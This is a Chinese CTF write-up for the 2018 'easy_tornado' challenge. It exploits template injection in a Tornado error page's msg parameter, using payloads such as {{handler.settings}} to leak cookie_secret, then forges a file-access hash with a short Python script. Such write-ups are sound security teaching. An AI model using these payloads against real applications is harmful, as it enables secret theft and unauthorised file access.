[护网杯 2018]easy_tornado
0x00
打开网页发现
分别打开
/flag.txt:
/welcome.txt:
/hints.txt:
还有一点需要注意的是:
/file?filename=/hints.txt&filehash=32aaa29a01b1b5a672bda72c1313619e
就如上面访问文件的时候都需要filehash才可以访问
从/hints.txt中我们可以知道filehash的组成为:
md5(cookie_secret+md5(filename))
从/flag.txt中我们已经知道了flag所在的文件为/fllllllllllllag,
所以现在我们只需要知道cookie_secret就可以得到flag
然后我去查看cookie发现没有cookie
说明我们的方向也许有点问题,继续查看其他信息
在/welcome.txt中我们发现了render
提供给render相应参数,它可以生成相应的html供前端响应
既然使用这个函数提供的html,那也许存在SSTI注入漏洞
有了新的方向,那我们去查找漏洞
首先开始提供的那三个界面根本没办法利用,都进行了filehash验证,
当输入错误的filehash的时候会发现跳转到了错误界面
看到这里
?msg=Error
很可能存在漏洞,那我们进行验证一下
?msg=1
确实可以显示,继续
?msg={{1*1}}
百度了一下ORZ是什么意思才发现是被过滤了,继续试
?msg={{1^2}}
发现进行了异或运算,不用在进行验证了
虽然现在发现了SSTI注入,但是cookie_secret在哪里获取
百度搜索了关键字cookie_secret,发现是tornado模板引擎里面的一种安全cookie机制
那现在cookie_secret就能和SSTI漏洞结合了,百度查询后发现,只需要输入如下就可以获得cookie_secret
?msg={{handler.settings}}
得到如下结果
接下来就是写一个python脚本获取filehash了
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="28a80f75-de02-42ef-927c-c99e9be61b1b"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
##hash.digest()
##返回摘要,作为二进制数据字符串值
##hash.hexdigest()
##返回摘要,作为十六进制数据字符串值
运行脚本后得到结果
0x01
前面我们已经获得了flag,但是还有一个地方值得我们研究
那就是为什么输入
?msg={{handler.settings}}
可以获得cookie_secret,原因就是:
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,
handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,
所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量